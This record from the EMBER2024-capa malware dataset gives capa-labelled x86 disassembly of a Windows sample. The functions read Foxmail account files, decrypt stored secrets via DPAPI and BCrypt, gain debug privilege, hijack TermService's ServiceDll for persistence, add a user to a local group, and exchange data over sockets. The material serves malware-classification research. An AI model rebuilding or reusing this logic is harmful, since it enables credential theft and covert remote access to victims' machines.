joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410976
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push ebx
push esi
push edi
push eax
push 0x20019
xor edi, edi
mov esi, ecx
push edi
push str.softwareAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4109ef
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov ebx, 0x420840
push ebx
push edi
push edi
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4109ef
push ebx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.Storage
push ebx
mov edi, 0x420738
push edi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push ecx
mov ecx, esi
call fcn.00410aae
push edi
mov ecx, esi
call fcn.00410b6f
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x410aae
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x420738
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x41ad9c
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x410b66
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x410b54
cmp byte [ebp - 0x220], 0x2e
je 0x410b54
lea eax, [ebp - 0x220]
push eax
push 0x420738
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.00410b6f
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x410b0b
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x4111f7
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
push ebx
push esi
push 1
mov edi, edx
mov dword [ebx], esi
push esi
push eax
mov dword [edi], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x411250
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x411250
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x411250
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x411257
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
mov eax, edx
mov dword [ebp - 4], eax
cmp dword [0x420948], esi
je 0x41127d
push dword [ebp + 8]
call fcn.004111f7
pop ecx
mov esi, eax
jmp 0x4112fe
push edi
push esi
push esi
push 3
push esi
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x4112fd
cmp edi, 0xffffffff
je 0x4112fd
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4112f6
cmp dword [ebp - 0xc], esi
jne 0x4112f6
mov eax, dword [ebp - 0x10]
push ebx
mov ebx, dword [ebp + 8]
push eax
push 0x40
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x4112f5
push esi
lea ecx, [ebp - 8]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4112ea
mov eax, dword [ebx]
cmp eax, dword [ebp - 8]
jne 0x4112ea
xor esi, esi
inc esi
jmp 0x4112f5
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x411303
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], ecx
push eax
push dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], edx
push ecx
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov edi, eax
test edi, edi
je 0x411368
mov ecx, dword [ebp - 8]
mov esi, dword [ebp + 0x20]
push ecx
push 0x40
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x41135f
push dword [esi]
push dword [ebp - 4]
push eax
call fcn.004012a9
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x41154b
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov edi, edx
mov word [ebp - 8], 0x3176
mov byte [ebp - 6], 0x30
mov esi, ecx
cmp edi, 3
jb 0x41164a
movzx eax, word [esi]
lea ecx, [ebp - 8]
cmp ax, word [ecx]
jne 0x41164a
movzx eax, byte [esi + 2]
cmp al, byte [ecx + 2]
jne 0x41164a
cmp dword [ebp + 8], 0
je 0x41169b
cmp dword [ebp + 0xc], 0
je 0x41169b
push 0x40
pop ebx
push ebx
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.004012cf
lea eax, [esi + 3]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x44], eax
add esp, 0xc
lea eax, [edi - 0x10]
mov dword [ebp - 0x48], 1
add eax, esi
mov dword [ebp - 0x40], 0xc
add edi, 0xffffffe1
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0x10
mov dword [ebp - 8], edi
je 0x411646
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x41169b
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x4c]
push ebx
push ecx
push ecx
push eax
push dword [ebp - 8]
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x411646
mov eax, dword [ebp - 8]
test eax, eax
je 0x411646
inc eax
push eax
call fcn.00401000
mov esi, dword [ebp - 8]
mov edi, eax
pop ecx
lea ecx, [esi + 1]
push ecx
push 0
push edi
call fcn.004012cf
add esp, 0xc
push esi
push ebx
push edi
call fcn.004012a9
add esp, 0xc
push ebx
jmp 0x411693
xor eax, eax
jmp 0x41169b
push ecx
lea eax, [ebp - 8]
mov ecx, esi
push eax
lea eax, [ebp - 0xc]
push eax
sub esp, 0x14
call fcn.0041136e
add esp, 0x20
test eax, eax
je 0x41169b
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.00401000
mov esi, dword [ebp - 8]
mov edi, eax
pop ecx
lea ecx, [esi + 1]
push ecx
push 0
push edi
call fcn.004012cf
add esp, 0xc
push esi
push dword [ebp - 0xc]
push edi
call fcn.004012a9
add esp, 0xc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4116a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], ecx
je 0x4116d6
mov esi, dword [ebp + 8]
push 0
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4116d6
mov ecx, dword [ebp - 4]
sub esi, eax
jne 0x4116b4
mov al, 1
jmp 0x4116d8
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x411e55
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, 0x5550f0
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
and dword [ebp - 8], 0
lea ecx, [ebp - 8]
call fcn.004146a7
mov ecx, edi
call fcn.00412846
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x411ed6
push str.SeDebugPrivilege
lea ecx, [ebp - 4]
call fcn.0040346a
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, esi
mov ecx, eax
call fcn.00414620
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.004068b7
test esi, esi
je 0x411ed6
mov ecx, dword [0x55511c]
call fcn.00415e50
push 0x3e8
call edi
push str._SystemRoot_System32_termsrv.dll
lea ecx, [ebp - 0xc]
call fcn.0040346a
push ecx
mov ecx, 0x5550f0
call fcn.00412a41
mov esi, dword [0x555144]
lea ecx, [ebp - 4]
push str.rudp
call fcn.0040346a
cmp dword [esi], 0
je 0x411f0e
push eax
mov ecx, esi
call fcn.00415f90
mov ecx, dword [ebp - 4]
call fcn.004068b7
mov esi, dword [0x555144]
lea ecx, [ebp - 4]
push str.rpdp
call fcn.0040346a
cmp dword [esi], 0
je 0x411f36
push eax
mov ecx, esi
call fcn.00415f90
mov ecx, dword [ebp - 4]
call fcn.004068b7
push ecx
mov ecx, esp
push 0x555128
call fcn.00403611
call fcn.004150e5
mov ecx, esp
push 0x55512c
call fcn.00403611
call fcn.004150e5
mov eax, dword [0x55513c]
xor esi, esi
pop ecx
test eax, eax
je 0x411fa7
cmp esi, eax
setb cl
call fcn.0040675f
mov eax, dword [0x555134]
lea ecx, [ebp - 4]
lea eax, [eax + esi*4]
push eax
call fcn.00403611
lea eax, [ebp - 4]
push eax
call fcn.0041304c
mov ecx, dword [ebp - 4]
call fcn.004068b7
and dword [ebp - 4], 0
inc esi
mov eax, dword [0x55513c]
cmp esi, eax
jb 0x411f6f
mov esi, 0x1f4
push esi
call edi
push 0x555118
call fcn.0041304c
push esi
call edi
push 0
call fcn.00412b16
mov ecx, dword [ebp - 8]
call fcn.004146d4
push 0x5550f0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
Function at 0x412510
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
lea eax, [ebp - 0x1a0]
push ebx
push esi
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x412536
xor eax, eax
jmp 0x4125a4
push 6
xor edi, edi
inc edi
push edi
push 2
pop ebx
push ebx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x41259a
push str.127.0.0.1
mov word [ebp - 0x10], bx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0xd3d
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push esi
cmp eax, 0xffffffff
jne 0x41258f
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x412532
call dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x41259c
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x412a41
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov ebx, ecx
xor esi, esi
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
lea ecx, [ebp - 0x10]
mov dword [ebp - 8], esi
call fcn.0040346a
lea eax, [ebp - 8]
push eax
push 0x102
push esi
push dword [ebp - 0x10]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x412afa
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebx + 0x34]
call fcn.0040368b
push str.ServiceDll
lea ecx, [ebp - 0xc]
mov ebx, eax
call fcn.0040346a
cmp dword [ebp - 8], esi
jne 0x412aa4
mov ebx, esi
jmp 0x412abe
push dword [ebx + 4]
push dword [ebx]
push 2
push esi
push dword [eax]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
lea ecx, [ebp - 0x18]
mov dword [ebp - 0xc], esi
call fcn.00403457
test ebx, ebx
jne 0x412ae4
cmp dword [ebp - 8], esi
je 0x412adf
push dword [ebp - 8]
call edi
mov dword [ebp - 8], esi
jmp 0x412afa
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], esi
je 0x412af4
push dword [ebp - 8]
call edi
mov dword [ebp - 8], esi
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
cmp dword [ebp - 8], 0
je 0x412b0d
push dword [ebp - 8]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x41304c
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x4130cb
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x413087
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4130ca
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4130b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x4130bc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x4130bc
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x4130d1
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x413137
mov eax, dword [ebp + 8]
push ebx
push 2
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x41310c
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x413136
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x413128
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x41313d
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
xor edi, edi
mov dword [ebp - 8], 0x10201
push edi
mov eax, dword [esi]
inc ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x4131b2
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.004146fb
push ebx
lea ecx, [ebp + 8]
push ecx
push 3
push dword [eax]
push edi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.004068b7
xor eax, eax
test esi, esi
sete al
jmp 0x4131b4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x41356e
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x14]
cmp dword [edi], 0
je 0x4135ba
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [esi + 0x18]
je 0x4135b3
cmp dword [esi + 0x10], 0
je 0x4135de
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1388
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4135b3
push 0xfffffffffffffffe
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, edi
call fcn.004132e5
lea ecx, [esi + 0x10]
call fcn.004132e5
lea ecx, [esi + 4]
call fcn.004132e5
lea ecx, [esi + 0xc]
call fcn.004132e5
lea ecx, [esi + 8]
call fcn.004132e5
and dword [esi + 0x18], 0
pop edi
pop esi
pop ebx
ret

Function at 0x413646
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, ecx
xor ecx, ecx
push esi
push edi
mov dword [ebp - 0x18], ebx
jmp 0x413748
mov eax, dword [ebp - 4]
test eax, eax
je 0x413782
inc eax
push eax
call fcn.00401000
and dword [ebp - 8], 0
mov esi, eax
pop ecx
push 0
lea eax, [ebp - 8]
mov dword [ebp - 0x14], esi
push eax
push dword [ebp - 4]
push esi
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x413764
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x20]
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov byte [eax + esi], bl
push dword [ebp - 8]
push esi
call fcn.004032d4
push ebx
push ebx
push 0xffffffffffffffff
push esi
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
mov esi, edi
shl esi, 2
push esi
call fcn.00401000
push esi
mov ebx, eax
push 0
push ebx
call fcn.004012cf
mov esi, dword [ebp - 0x14]
add esp, 0x10
push edi
push ebx
push 0xffffffffffffffff
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
call fcn.00401014
pop ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040346a
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.00403307
lea ecx, [ebp - 0x10]
call fcn.0040397d
mov ebx, dword [ebp - 0x18]
push ecx
mov ecx, esp
mov eax, dword [ebx]
mov esi, dword [eax + 4]
lea eax, [ebp - 0xc]
push eax
call fcn.00403611
mov ecx, ebx
call esi
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
and dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x413743
call fcn.00406955
xor ecx, ecx
mov dword [ebp - 0x20], ecx
push ecx
lea eax, [ebp - 4]
mov dword [ebp - 4], ecx
push eax
push ecx
push ecx
push ecx
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x41365b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
xor eax, eax
cmp ecx, 0x6d
je 0x41377d
cmp ecx, 0xe8
sete al
dec eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
inc eax
jmp 0x41377d
Function at 0x413b63
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [ecx]
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov si, dx
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 4]
mov edi, eax
push 0x10
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], bx
push eax
push edi
mov dword [ebp - 0x10], ecx
mov word [ebp - 0x12], si
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x413bd1
mov esi, 0x802
lea eax, [ebp - 0x818]
push esi
push 0
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x818]
push esi
push eax
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413bd8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
push 6
push 1
push 0x17
pop edi
push edi
mov bx, dx
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov word [ebp - 0x20], di
lea ecx, [ebp - 0x20]
lea edi, [ebp - 0x18]
mov dword [ebp - 4], eax
movsd dword es:[edi], dword [esi]
push 0x1c
push ecx
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x1e], bx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x413c46
mov esi, 0x802
lea eax, [ebp - 0x824]
push esi
push 0
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x824]
push esi
push eax
lea eax, [ebp - 0x18]
push eax
push 0x17
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413c4e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x553c7c]
push ebx
push esi
push edi
mov esi, 0x2000
mov dword [ebp - 8], eax
push esi
call fcn.00401000
push esi
mov ebx, eax
call fcn.00401000
mov esi, dword [ebp + 8]
mov edi, esi
pop ecx
pop ecx
mov ecx, eax
xor eax, eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
jmp 0x413c8a
mov ecx, dword [ebp - 4]
push 0
push 8
pop eax
sub eax, edi
push eax
push ecx
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 8], eax
test eax, eax
je 0x413d1e
cmp eax, 0xffffffff
je 0x413d1e
push eax
push dword [ebp - 4]
lea ecx, [edi + ebx]
push ecx
call fcn.004012a9
add edi, dword [ebp + 8]
add esp, 0xc
cmp edi, 8
jl 0x413c87
mov eax, dword [ebx]
xor edi, edi
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0xc], eax
test eax, eax
jle 0x413d08
push 0
sub eax, edi
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 8], eax
test eax, eax
je 0x413d1e
cmp eax, 0xffffffff
je 0x413d1e
push eax
push dword [ebp - 4]
lea ecx, [edi + ebx]
push ecx
call fcn.004012a9
add edi, dword [ebp + 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
cmp edi, eax
jl 0x413cd1
mov ecx, dword [ebp - 0x10]
push dword [ebp - 4]
mov dword [esi], ecx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
call fcn.00401014
pop ecx
jmp 0x413d25
mov byte [0x4206a6], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x413d2c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x553c7c]
push ebx
push esi
push edi
push 0x2000
mov edi, edx
mov dword [ebp - 4], eax
call fcn.00401000
mov esi, dword [ebp + 8]
mov ebx, eax
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebx], ecx
lea ecx, [ebx + 8]
push ecx
mov dword [ebx + 4], esi
call fcn.004012a9
add esp, 0x10
lea eax, [esi + 8]
push 0
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_send]
push ebx
call fcn.00401014
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413fe4
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
push 6
xor eax, eax
mov edi, edx
inc eax
mov esi, ecx
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
push esi
mov ebx, eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
movsx ecx, word [eax + 0xa]
push ecx
mov ecx, dword [eax + 0xc]
lea eax, [ebp - 0xc]
push dword [ecx]
push eax
call fcn.004012a9
add esp, 0xc
push 2
pop eax
push edi
mov word [ebp - 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
mov esi, 0x802
mov word [ebp - 0xe], ax
push esi
lea eax, [ebp - 0x818]
push 0
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x818]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_InetNtopW]
cmp byte [0x4206a6], 0
jne 0x414092
xor esi, esi
inc esi
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
movzx ecx, byte [0x4206a6]
cmp eax, 0xffffffff
cmovne ecx, esi
mov byte [0x4206a6], cl
test cl, cl
je 0x41406e
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4147a7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
push 0
push dword [ecx]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, 0xffffffff
je 0x414821
push 0x10
xor ebx, ebx
inc ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x414821
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x414821
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0x28]
mov dword [edi], ecx
mov cx, word [eax + 0x1a]
mov word [edi + 4], cx
mov cx, word [eax + 0x18]
mov eax, edx
and eax, ebx
mov word [edi + 6], cx
mov dword [edi + 8], eax
mov ecx, edx
mov eax, edx
shr ecx, 3
shr eax, 1
and ecx, ebx
shr edx, 5
and eax, ebx
and edx, ebx
mov dword [edi + 0xc], eax
push esi
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
jmp 0x414823
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x414891
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
push edi
push 0x208
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x208]
mov ecx, edi
push eax
call fcn.0040346a
mov eax, edi
pop edi
pop esi
leave
ret